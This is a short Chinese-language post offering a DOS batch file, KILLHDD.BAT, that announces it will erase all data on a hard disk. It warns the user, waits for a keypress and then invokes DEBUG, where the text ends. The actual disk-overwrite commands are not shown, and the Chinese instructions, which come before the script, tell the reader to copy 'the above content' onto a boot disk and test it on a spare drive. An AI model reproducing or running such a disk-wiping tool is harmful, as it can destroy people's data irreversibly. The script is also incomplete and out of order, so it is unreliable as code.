方法：新建一个文件，把以上内容复制进去，保存为KILLHDD.BAT，放到启动盘里（必须有DEBUG.EXE这个文件），找一个没用的硬盘作试验
@ECHO OFF
ECHO BE VERY CAREFUL, KILLHDD.bat WILL REMOVE EVRYTHING FROM YOUR DISK.
ECHO+
IF NOT EXIST %0 GOTO ERROR
ECHO PRESS A KEY TO DELETE ALL DATA ON YOUR HARD DISK, CTRL+C TO CANCEL.
pause >nul
DEBUG
